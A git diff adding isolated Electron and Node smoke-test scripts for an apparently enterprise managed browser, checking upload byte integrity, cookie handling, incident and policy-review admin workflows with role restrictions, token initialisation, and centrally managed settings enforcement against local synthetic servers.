@@ +'use strict'; +// Isolated feasibility harness: never loaded by the managed browser. +const fs=require('node:fs'),os=require('node:os'),path=require('node:path'),assert=require('node:assert/strict'),crypto=require('node:crypto'); +if(!process.versions.electron){ + const {spawn}=require('node:child_process');const env={...process.env};delete env.ELECTRON_RUN_AS_NODE; + const child=spawn(require('electron'),[__filename],{env,windowsHide:true,stdio:'inherit'});const timer=setTimeout(()=>child.kill(),60000);child.once('exit',code=>{clearTimeout(timer);process.exit(code??1);}); +}else{ + const {app,BrowserWindow,session}=require('electron');app.disableHardwareAcceleration();app.enableSandbox(); + const owned=fs.mkdtempSync(path.join(os.tmpdir(),'safetynet-upload-probe-'));app.setPath('userData',owned); + const {createServer}=require('node:http');let server,win;const report={electron:process.versions.electron,productionEnabled:false}; + app.whenReady().then(async()=>{ + const original=Buffer.from('PUBLIC IMMUTABLE FILE CONTENT'),changed=Buffer.from('SECRET MUTATED FILE CONTENT!!');const file=path.join(owned,'fixture.txt');fs.writeFileSync(file,original); + const received=[];server=createServer(async(req,res)=>{const chunks=[];for await(const chunk of req)chunks.push(chunk);received.push({url:req.url,headers:req.headers,bytes:Buffer.concat(chunks)});if(req.url==='/redirect'){res.writeHead(307,{location:'/redirect-target'});res.end();return;}res.setHeader('content-type','text/html');res.end('');}).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r)); + const origin=`http://127.0.0.1:${server.address().port}`,ses=session.fromPartition('upload-proof');let snapshot; + ses.protocol.handle('http',async request=>{ + if(new URL(request.url).origin!==origin)return new Response('Denied',{status:403}); + const body=request.body?Buffer.from(await request.arrayBuffer()):undefined; + if(request.url.includes('/cookie-')){report.requestCredentials??={};report.requestCredentials[new URL(request.url).pathname]=request.credentials;report.requestCookiePresence??={};report.requestCookiePresence[new URL(request.url).pathname]=request.headers.has('cookie');} + if(request.method==='POST'){snapshot=body;report.requestBodyAvailable=Boolean(body?.length);report.initiatorOrigin=request.initiatorOrigin||null;fs.writeFileSync(file,changed);report.mutatedAfterSnapshot=true;} + try{return await ses.fetch(request.url,{method:request.method,headers:request.headers,body:body?new Blob([body]):undefined,redirect:'error',bypassCustomProtocolHandlers:true});}catch{return Response.error();} + }); + win=new BrowserWindow({show:false,webPreferences:{session:ses,sandbox:true,contextIsolation:true,nodeIntegration:false}});await win.loadURL(origin); + win.webContents.debugger.attach('1.3');const {root}=await win.webContents.debugger.sendCommand('DOM.getDocument');const {nodeId}=await win.webContents.debugger.sendCommand('DOM.querySelector',{nodeId:root.nodeId,selector:'#file'});await win.webContents.debugger.sendCommand('DOM.setFileInputFiles',{nodeId,files:[file]}); + await win.webContents.executeJavaScript('upload()');const upload=received.find(r=>r.url==='/upload');assert(upload);assert(snapshot);assert.deepEqual(upload.bytes,snapshot);assert(upload.bytes.includes(original));assert(!upload.bytes.includes(changed));report.receiverSha256=crypto.createHash('sha256').update(upload.bytes).digest('hex');report.snapshotSha256=crypto.createHash('sha256').update(snapshot).digest('hex');report.exactBytes=true; + await ses.cookies.set({url:origin,name:'synthetic_session',value:'fixture',sameSite:'strict'}); + await win.webContents.executeJavaScript('fetch("/cookie-include",{credentials:"include"}).then(r=>r.text())'); + await win.webContents.executeJavaScript('fetch("/cookie-omit",{credentials:"omit"}).then(r=>r.text())'); + report.includeCookie=Boolean(received.find(r=>r.url==='/cookie-include').headers.cookie); + report.omitCookie=Boolean(received.find(r=>r.url==='/cookie-omit').headers.cookie); + report.credentialsPreserved=report.includeCookie&&!report.omitCookie; + // A known unsafe expansion is asserted here so the evidence cannot be mistaken + // for approval to ship the transparent bridge. No real credentials are used. + assert.equal(report.credentialsPreserved,false,'Reassess Electron credential behavior before integration'); + report.redirectDenied=await win.webContents.executeJavaScript('fetch("/redirect").then(()=>false,()=>true)'); + assert.equal(report.redirectDenied,true);assert.equal(received.some(r=>r.url==='/redirect-target'),false); + fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync('artifacts/immutable-upload-probe.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); + }).catch(error=>{console.error(error);process.exitCode=1;}).finally(async()=>{win?.destroy();if(server){server.closeAllConnections();await new Promise(r=>server.close(r));}app.exit(process.exitCode||0);}); +} diff --git a/scripts/incident-admin-smoke.cjs b/scripts/incident-admin-smoke.cjs new file mode 100644 index 0000000..1be109a --- /dev/null +++ b/scripts/incident-admin-smoke.cjs @@ -0,0 +1,22 @@ +'use strict'; +const {app,BrowserWindow}=require('electron'),assert=require('node:assert/strict'),fs=require('node:fs'),path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);let window;const deadline=setTimeout(()=>app.exit(1),50000); +const evaluate=source=>window.webContents.executeJavaScript(source,true); +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Incident UI state missing: '+await evaluate(`document.getElementById('status').textContent`));} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}});await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require})`),{node:'undefined',require:'undefined'});assert.ok((await evaluate(`fetch(location.href).then(r=>r.headers.get('content-security-policy'))`)).includes("script-src 'self'")); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`document.getElementById('status').textContent.includes('Connected')`); + await evaluate(`document.querySelector('[data-incident-create]').click()`);await waitFor(`!document.getElementById('incident-detail').hidden`);assert.equal(await evaluate(`document.getElementById('incident-event').textContent.includes('NEVER_SHOW_DOCUMENT_CONTENT')`),false); + await evaluate(`document.getElementById('incident-state').value='investigating';document.getElementById('incident-severity').value='high';document.getElementById('incident-assignee').value='Synthetic SOC';document.getElementById('incident-comment').value='Synthetic investigation started. ';document.getElementById('incident-save').click()`);await waitFor(`document.getElementById('incident-revision').textContent.includes('revision 2')`); + assert.ok(await evaluate(`document.getElementById('incident-history').textContent.includes('Synthetic investigation started. ')`));assert.equal(await evaluate(`document.querySelectorAll('#incident-history img').length`),0); + const id=await evaluate(`document.querySelector('#incident-rows tr').dataset.incidentId`); + await evaluate(`fetch('/api/admin/incidents/'+${JSON.stringify(id)},{method:'PATCH',headers:{authorization:'Bearer '+${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)},'content-type':'application/json'},body:JSON.stringify({expectedRevision:2,status:'resolved'})}).then(r=>{if(!r.ok)throw Error('Concurrent synthetic update failed')})`); + await evaluate(`document.getElementById('incident-comment').value='Preserved concurrent edit';document.getElementById('incident-save').click()`);await waitFor(`document.getElementById('incident-detail-status').textContent.includes('revision conflict')`);assert.equal(await evaluate(`document.getElementById('incident-comment').value`),'Preserved concurrent edit'); + await evaluate(`document.getElementById('incident-detail-refresh').click()`);await waitFor(`document.getElementById('incident-revision').textContent.includes('revision 3')`); + await evaluate(`document.getElementById('incident-status-filter').value='open';document.getElementById('incident-status-filter').dispatchEvent(new Event('change'))`);await waitFor(`document.querySelectorAll('#incident-rows tr').length===0`); + await evaluate(`document.getElementById('incident-status-filter').value='resolved';document.getElementById('incident-status-filter').dispatchEvent(new Event('change'))`);await waitFor(`document.querySelectorAll('#incident-rows tr').length===1`); + await window.webContents.session.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value:process.env.SAFETYNET_INCIDENT_AUDITOR_TOKEN,httpOnly:true,sameSite:'lax'});await window.reload();await waitFor(`document.getElementById('status').textContent.includes('Connected')`);await evaluate(`document.querySelector('#incident-rows button').click()`);await waitFor(`!document.getElementById('incident-detail').hidden`);assert.equal(await evaluate(`document.getElementById('incident-save').disabled`),true);assert.equal(await evaluate(`document.querySelector('[data-incident-create]').disabled`),true); + const forbidden=await evaluate(`fetch('/api/admin/incidents/'+${JSON.stringify(id)},{method:'PATCH',headers:{'content-type':'application/json'},body:JSON.stringify({expectedRevision:3,status:'open'})}).then(r=>r.status)`);assert.equal(forbidden,403); + await evaluate(`document.getElementById('incidents').scrollIntoView()`);await new Promise(r=>setTimeout(r,250));fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync(path.resolve('artifacts/incident-admin.png'),(await window.webContents.capturePage()).toPNG());console.log('INCIDENT_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('INCIDENT_ADMIN_PROOF_FAILED',error.stack);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/incident-admin-smoke.mjs b/scripts/incident-admin-smoke.mjs new file mode 100644 index 0000000..1b6fd30 --- /dev/null +++ b/scripts/incident-admin-smoke.mjs @@ -0,0 +1,29 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { digest } from '../apps/server/store.mjs'; +import { openStore } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-incident-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false}; + store.event('synthetic-device','dlp.blocked',{decision:'block',ruleId:'synthetic-rule',policyVersion:1,prompt:'NEVER_SHOW_DOCUMENT_CONTENT'}); + const auditorToken=randomBytes(32).toString('base64url');store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(auditorToken),Date.now()+60000,JSON.stringify({sub:'incident-auditor',role:'auditor'})); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken,SAFETYNET_INCIDENT_AUDITOR_TOKEN:auditorToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/incident-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('INCIDENT_ADMIN_PROOF_OK'))console.log('Incident administrator interface workflow passed.');});child.stderr.on('data',data=>{if(String(data).includes('INCIDENT_ADMIN_PROOF_'))console.error(String(data).trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Incident administrator interface proof failed'); + const row=store.db.prepare('SELECT * FROM incident_cases').get();assert.equal(row.revision,3);assert.equal(row.status,'resolved');assert.equal(row.assignee,'Synthetic SOC'); + const report={actualAdministratorUi:true,createFromSecurityEvent:true,statusSeverityAssignment:true,revisionConflictPreservesEdits:true,historyShown:true,adversarialNotesRenderedAsText:true,filters:true,auditorReadOnly:true,rawContentExcluded:true,noNode:true,cspPreserved:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/incident-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-incident-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} + diff --git a/scripts/independent-review-admin-smoke.cjs b/scripts/independent-review-admin-smoke.cjs new file mode 100644 index 0000000..08bec8c --- /dev/null +++ b/scripts/independent-review-admin-smoke.cjs @@ -0,0 +1,35 @@ +'use strict'; +const {app,BrowserWindow,session}=require('electron'),assert=require('node:assert/strict'),fs=require('node:fs'),path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE); +let window;const deadline=setTimeout(()=>app.exit(1),55000);const evaluate=s=>window.webContents.executeJavaScript(s,true); +async function waitFor(s){for(let n=0;n<200;n++){if(await evaluate(s))return;await new Promise(r=>setTimeout(r,60));}throw Error('UI state timeout: '+s+' | '+await evaluate(`document.getElementById('status').textContent`));} +async function identity(value){await session.defaultSession.cookies.set({url:process.env.SAFETYNET_ADMIN_SMOKE_URL,name:'sn_session',value,httpOnly:true,sameSite:'strict'});await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('reviews-status').textContent.includes('loaded')`);} +async function prepare(name){await evaluate(`document.getElementById('status').textContent='Preparing';document.getElementById('brand-name').value=${JSON.stringify(name)};document.getElementById('publish').click()`);await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`);} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await identity('synthetic-review-author');assert.equal(await evaluate('typeof require'),'undefined'); + assert.equal(await evaluate(`document.getElementById('publish').textContent`),'Prepare for independent approval'); + await prepare('Independently approved');await prepare('Stale candidate');await prepare('Rejected candidate'); + assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v1'); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + assert.equal(await evaluate(`document.getElementById('independent-review-approve').disabled`),true); + const self=await evaluate(`fetch('/api/admin/policy-reviews/'+selectedIndependentReview.id+'/approve',{method:'POST',headers:{'content-type':'application/json'},body:JSON.stringify({payloadHash:selectedIndependentReview.payloadHash,expectedVersion:selectedIndependentReview.expectedVersion,approve:true})}).then(r=>r.status)`);assert.equal(self,403); + await identity('synthetic-review-admin'); + await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + assert.ok((await evaluate(`document.getElementById('independent-review-diff').textContent`)).includes('Rejected candidate')); + await evaluate(`document.getElementById('independent-review-reject').click()`);await waitFor(`document.getElementById('reviews-rows').textContent.includes('rejected')`); + await evaluate(`document.querySelectorAll('#reviews-rows button')[2].click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + assert.ok((await evaluate(`document.getElementById('independent-review-diff').textContent`)).includes('Independently approved')); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v2'`); + assert.ok((await evaluate(`document.getElementById('reviews-rows').textContent`)).includes('stale')); + await evaluate(`document.querySelectorAll('#reviews-rows button')[1].click()`);await waitFor(`document.getElementById('independent-review-title').textContent.includes('stale')`);assert.equal(await evaluate(`document.getElementById('independent-review-approve').disabled`),true); + await evaluate(`document.getElementById('policy-reviews').scrollIntoView();document.getElementById('console-theme').value='dark';document.getElementById('console-theme').dispatchEvent(new Event('change'))`);await new Promise(r=>setTimeout(r,200));fs.mkdirSync('artifacts',{recursive:true});fs.writeFileSync(path.resolve('artifacts/independent-review-admin.png'),(await window.webContents.capturePage()).toPNG()); + await identity('synthetic-review-operator');assert.equal(await evaluate(`document.getElementById('publish').disabled`),false);await prepare('Operator proposed');assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2');await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`);assert.equal(await evaluate(`document.getElementById('independent-review-approve').disabled`),true); + + await evaluate(`document.getElementById('status').textContent='Preparing inspection';Array.from(document.querySelectorAll('#device-rows button')).find(button=>button.textContent==='Enable manual document scans').click()`);await waitFor(`document.getElementById('status').textContent.includes('prepared for independent approval')`); + assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2');assert.ok(await evaluate(`Array.from(document.querySelectorAll('#device-rows button')).some(button=>button.textContent==='Enable manual document scans')`)); + await identity('synthetic-review-admin');await evaluate(`document.querySelector('#reviews-rows button').click()`);await waitFor(`!document.getElementById('independent-review-detail').hidden`); + const operation=await evaluate(`document.getElementById('independent-review-operation').textContent`);assert.ok(operation.includes('synthetic-bookmark-device'));assert.ok(operation.includes('Enable'));assert.ok(operation.includes('Mandatory upload DLP')); + await evaluate(`document.getElementById('independent-review-confirm').checked=true;document.getElementById('independent-review-confirm').dispatchEvent(new Event('change'));document.getElementById('independent-review-approve').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'`);assert.ok(await evaluate(`Array.from(document.querySelectorAll('#device-rows button')).some(button=>button.textContent==='Disable manual document scans')`)); + console.log('INDEPENDENT_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('INDEPENDENT_ADMIN_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/independent-review-admin-smoke.mjs b/scripts/independent-review-admin-smoke.mjs new file mode 100644 index 0000000..372345d --- /dev/null +++ b/scripts/independent-review-admin-smoke.mjs @@ -0,0 +1,28 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore, digest } from '../apps/server/store.mjs'; +import { createApp } from '../apps/server/app.mjs'; +import { verifyPolicy } from '../packages/core/policy.mjs'; +const require=createRequire(import.meta.url),directory=mkdtempSync(join(tmpdir(),'safetynet-independent-review-admin-smoke-')); +let store,server,child; +try{ + store=openStore(join(directory,'management'));const adminToken=randomBytes(32).toString('base64url'),config={adminToken,publicUrl:'http://127.0.0.1',secure:false,requireIndependentPolicyApproval:true}; + for(const [credential,role,sub] of [['synthetic-review-author','admin','synthetic-author'],['synthetic-review-admin','admin','synthetic-reviewer'],['synthetic-review-operator','operator','synthetic-operator']])store.db.prepare('INSERT INTO sessions VALUES(?,?,?)').run(digest(credential),Date.now()+3600000,JSON.stringify({sub,role})); + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run('synthetic-bookmark-device','Synthetic bookmark device','win32','synthetic-user','synthetic-unused',new Date().toISOString()); + store.db.prepare('UPDATE devices SET document_analysis_enabled=0 WHERE id=?').run('synthetic-bookmark-device'); + server=createApp(store,config).listen(0,'127.0.0.1');await new Promise(r=>server.once('listening',r));config.publicUrl=`http://127.0.0.1:${server.address().port}`; + const env={...process.env,SAFETYNET_ADMIN_SMOKE_PROFILE:join(directory,'browser'),SAFETYNET_ADMIN_SMOKE_URL:config.publicUrl,SAFETYNET_ADMIN_SMOKE_TOKEN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(require('electron'),['scripts/independent-review-admin-smoke.cjs'],{env,windowsHide:true,stdio:['ignore','pipe','pipe']});child.stdout.on('data',data=>{if(String(data).includes('INDEPENDENT_ADMIN_PROOF_OK'))console.log('Independent policy approval administrator interface workflow passed.');});child.stderr.on('data',data=>{const text=String(data);if(text.includes('INDEPENDENT_ADMIN_PROOF_'))console.error(text.trim());}); + const timer=setTimeout(()=>child.kill(),60000),code=await new Promise(r=>{child.once('exit',code=>r(code??1));child.once('error',()=>r(1));});clearTimeout(timer);assert.equal(code,0,'Independent policy approval administrator interface proof failed'); + const policy=verifyPolicy(store.envelope(),store.publicKey());assert.equal(policy.version,3);assert.equal(store.db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get('synthetic-bookmark-device').document_analysis_enabled,1);assert.equal(policy.brand.name,'Independently approved'); + const report={actualAdministratorUi:true,mandatoryIndependentApproval:true,payloadDiff:true,selfApprovalHttpDenied:true,distinctReviewer:true,operatorPrepareOnly:true,inspectionOperationVisible:true,inspectionUnchangedUntilApproval:true,rejectedAndStaleVisible:true,publishedOnlyAfterApproval:true,nodeUnavailable:true};mkdirSync('artifacts',{recursive:true});writeFileSync('artifacts/independent-review-admin-proof.json',JSON.stringify(report,null,2));console.log(JSON.stringify(report)); +}finally{ + child?.kill();if(server)await new Promise(r=>{server.closeAllConnections?.();server.close(r);});store?.db.close();const target=resolve(directory);if(!target.startsWith(resolve(tmpdir())+sep)||!basename(target).startsWith('safetynet-independent-review-admin-smoke-'))throw Error('Unsafe proof cleanup');rmSync(target,{recursive:true,force:true,maxRetries:10,retryDelay:100}); +} diff --git a/scripts/init.mjs b/scripts/init.mjs new file mode 100644 index 0000000..2b9bd22 --- /dev/null +++ b/scripts/init.mjs @@ -0,0 +1,12 @@ +import { existsSync, readFileSync, writeFileSync, appendFileSync } from 'node:fs'; +import { randomBytes } from 'node:crypto'; +if(existsSync('.env'))console.log('.env already exists; preserved existing configuration.'); +else {const template=readFileSync('.env.example','utf8');writeFileSync('.env',template.replace('ADMIN_TOKEN=','ADMIN_TOKEN='+randomBytes(32).toString('base64url')),{mode:0o600});console.log('Created .env with a random bootstrap administrator token. Open .env locally to use it; never commit this file.');} +let existing=readFileSync('.env','utf8'); +if(!/^INSPECTOR_URL=/m.test(existing)){appendFileSync('.env','\nINSPECTOR_URL=http://127.0.0.1:4311\n');existing=readFileSync('.env','utf8');} +if(!/^INSPECTOR_TOKEN=.+/m.test(existing)){ + const secret=randomBytes(32).toString('base64url'); + if(/^INSPECTOR_TOKEN=/m.test(existing))writeFileSync('.env',existing.replace(/^INSPECTOR_TOKEN=.*$/m,'INSPECTOR_TOKEN='+secret),{mode:0o600}); + else appendFileSync('.env','INSPECTOR_TOKEN='+secret+'\n',{mode:0o600}); + console.log('Configured a private inspector credential.'); +} diff --git a/scripts/inspector.mjs b/scripts/inspector.mjs new file mode 100644 index 0000000..2242c2a --- /dev/null +++ b/scripts/inspector.mjs @@ -0,0 +1,12 @@ +import { spawn } from 'node:child_process'; +import { resolve } from 'node:path'; +import {createRequire} from 'node:module'; +const files=createRequire(import.meta.url)('../apps/browser/inspection.cjs').privateInspectorPaths(resolve('.')); +if(!files)throw Error('Provision the private Windows runtime; external or linked inspector overrides are rejected'); +const {python,script}=files; +const environment={...process.env,INSPECTOR_PARENT_PID:String(process.pid)}; +environment.EMBEDDING_MODEL_DIR ||= resolve('.runtime/windows/semantic/models'); +environment.EMBEDDING_WORKER_PATH ||= resolve('.runtime/windows/semantic/searchi-gemma-worker.exe'); +for(const key of ['ADMIN_TOKEN','OIDC_CLIENT_SECRET','AI_API_KEY','SIEM_HTTP_TOKEN','SIEM_KEY_FILE'])delete environment[key]; +const child=spawn(python,[script],{stdio:'inherit',env:environment,windowsHide:true}); +process.on('SIGINT',()=>child.kill());process.on('SIGTERM',()=>child.kill());child.on('exit',code=>process.exit(code??1)); diff --git a/scripts/managed-settings-smoke.cjs b/scripts/managed-settings-smoke.cjs new file mode 100644 index 0000000..acfaac0 --- /dev/null +++ b/scripts/managed-settings-smoke.cjs @@ -0,0 +1,26 @@ +const {app,BrowserWindow,safeStorage}=require('electron'); +const fs=require('node:fs'),path=require('node:path'); +const assert=require('node:assert/strict'); +app.setPath('userData',process.env.SAFETYNET_SETTINGS_PROFILE);app.setPath('sessionData',process.env.SAFETYNET_SETTINGS_PROFILE);app.disableHardwareAcceleration(); +process.env.SAFETYNET_SMOKE_USERDATA=process.env.SAFETYNET_SETTINGS_PROFILE; +require('../apps/browser/main.cjs'); +const wait=ms=>new Promise(resolve=>setTimeout(resolve,ms)); +const deadline=setTimeout(()=>app.exit(1),90000); +app.whenReady().then(async()=>{try{ + let win;for(let i=0;i<150;i++){win=BrowserWindow.getAllWindows()[0];if(win&&!win.webContents.isLoading()&&win.webContents.getURL().endsWith('index.html'))break;await wait(100);}assert.ok(win,'Trusted shell unavailable'); + const call=(name,input)=>win.webContents.executeJavaScript(`window.safetynet[${JSON.stringify(name)}](${JSON.stringify(input)??''})`); + const enrolled=await call('enroll',{server:process.env.SAFETYNET_SETTINGS_SERVER,code:process.env.SAFETYNET_SETTINGS_CODE});assert.equal(enrolled.ok,true,'Enrollment failed');assert.equal(enrolled.data.ready,true,'Management did not become ready'); + const enrollment=JSON.parse(safeStorage.decryptString(Buffer.from(JSON.parse(fs.readFileSync(path.join(process.env.SAFETYNET_SETTINGS_PROFILE,'enrollment.json'),'utf8')).encryptedEnrollment,'base64'))); + assert.equal((await fetch(`${process.env.SAFETYNET_SETTINGS_SERVER}/api/device/policy`,{headers:{authorization:`Bearer ${enrollment.token}`}})).status,403,'Plaintext policy route was not rejected'); + async function state(){return (await call('state')).data;} + async function rejected(name,input){assert.equal((await call(name,input)).ok,false,`Privileged ${name} bypassed administrator settings`);} + assert.deepEqual((await state()).settings.appearance,{mode:'dark',accent:'violet',tabMode:'compact'}); + await rejected('updateSettings',{mode:'light'});await rejected('vaultStatus');await rejected('vaultCreate','synthetic-not-a-real-password');await rejected('vaultSave',{});await rejected('inspectFile');await rejected('agentConnection');assert.equal((await call('vaultLock')).ok,true); + const headers={authorization:`Bearer ${process.env.SAFETYNET_SETTINGS_ADMIN}`,'content-type':'application/json'}; + async function publish(settings){const overview=await (await fetch(`${process.env.SAFETYNET_SETTINGS_SERVER}/api/admin/overview`,{headers})).json();const policy=overview.policy;assert.ok(policy,'Admin policy unavailable');policy.version++;policy.browser.settings=settings;const response=await fetch(`${process.env.SAFETYNET_SETTINGS_SERVER}/api/admin/policy`,{method:'PUT',headers,body:JSON.stringify(policy)});assert.equal(response.status,200,'Central policy publication failed');for(let i=0;i<100;i++){const current=await state();if(current.ready&¤t.policyVersion===policy.version)return current;await wait(100);}throw Error('Live central settings update timed out');} + await publish({visible:false,hiddenSections:[],lockedSections:[],appearance:{mode:'light',accent:'teal',tabMode:'separate'}}); + await rejected('setChromeLayout',{height:104,sidebarOpen:false,startPageOpen:false,overviewOpen:false,toolsOpen:true});await rejected('updateSettings',{mode:'dark'});assert.equal((await call('toggleAI',true)).ok,true,'Hiding settings disabled approved AI use');await call('toggleAI',false);assert.equal((await call('vaultLock')).ok,true); + const opened=await publish({visible:true,hiddenSections:[],lockedSections:[],appearance:{mode:'system',accent:'blue',tabMode:'separate'}});assert.equal(opened.settings.visible,true);const change=await call('updateSettings',{mode:'dark',accent:'teal',tabMode:'compact'});assert.equal(change.ok,true);assert.deepEqual(change.data.appearance,{mode:'dark',accent:'teal',tabMode:'compact'}); + const ui=await win.webContents.executeJavaScript('({theme:document.documentElement.dataset.theme,accent:document.documentElement.dataset.accent,tabMode:document.documentElement.dataset.tabMode})');assert.deepEqual(ui,{theme:'dark',accent:'teal',tabMode:'compact'}); + console.log(JSON.stringify({nativeSettingsEnforcement:true,liveCentralUpdate:true,directIPCBypassRejected:true}));clearTimeout(deadline);app.quit(); +}catch(error){console.error(JSON.stringify({nativeSettingsEnforcement:false,error:error.message}));clearTimeout(deadline);app.exit(1);}}); diff --git a/scripts/managed-settings-smoke.mjs b/scripts/managed-settings-smoke.mjs new file mode 100644 index 0000000..ab1cef1 --- /dev/null +++ b/scripts/managed-settings-smoke.mjs @@ -0,0 +1,31 @@ +// Actual signed central publication and native browser IPC, isolated synthetic device. +import assert from 'node:assert/strict'; +import {createRequire} from 'node:module'; +import {createServer} from 'node:http'; +import {mkdtempSync,mkdirSync,writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawn} from 'node:child_process'; +import {randomBytes} from 'node:crypto'; +import {createApp} from '../apps/server/app.mjs'; +import {openStore,digest} from '../apps/server/store.mjs'; +const electron=createRequire(import.meta.url)('electron'); +const temporary=mkdtempSync(join(tmpdir(),'safetynet-managed-settings-')); +let store,management,sink,child; +try{ + const adminToken=randomBytes(32).toString('base64url'),code=randomBytes(32).toString('base64url'); + sink=createServer((_req,res)=>{res.setHeader('content-type','text/html');res.end('Managed settings fixture

Public local test page

');}).listen(0,'127.0.0.1'); + await new Promise(resolve=>sink.once('listening',resolve)); + store=openStore(join(temporary,'management.sqlite')); + const initial=store.get('policy');initial.browser.homeUrl=`http://127.0.0.1:${sink.address().port}`;initial.browser.allowedHosts=['127.0.0.1'];initial.browser.settings={visible:true,hiddenSections:['passwords','documentScan','agents'],lockedSections:['appearance'],appearance:{mode:'dark',accent:'violet',tabMode:'compact'}};store.put('policy',initial); + store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,'synthetic-settings-user'); + const config={publicUrl:'http://127.0.0.1',secure:false,adminToken,requirePQManagement:true}; + management=createApp(store,config).listen(0,'127.0.0.1');await new Promise(resolve=>management.once('listening',resolve));config.publicUrl=`http://127.0.0.1:${management.address().port}`; + const env={...process.env,SAFETYNET_SETTINGS_PROFILE:join(temporary,'browser'),SAFETYNET_SETTINGS_SERVER:config.publicUrl,SAFETYNET_SETTINGS_CODE:code,SAFETYNET_SETTINGS_ADMIN:adminToken};delete env.ELECTRON_RUN_AS_NODE; + child=spawn(electron,['scripts/managed-settings-smoke.cjs'],{windowsHide:true,stdio:'inherit',env});const timer=setTimeout(()=>child.kill(),100000); + const status=await new Promise(resolve=>{child.once('exit',code=>resolve(code??1));child.once('error',()=>resolve(1));});clearTimeout(timer);assert.equal(status,0,'Native managed settings proof failed'); 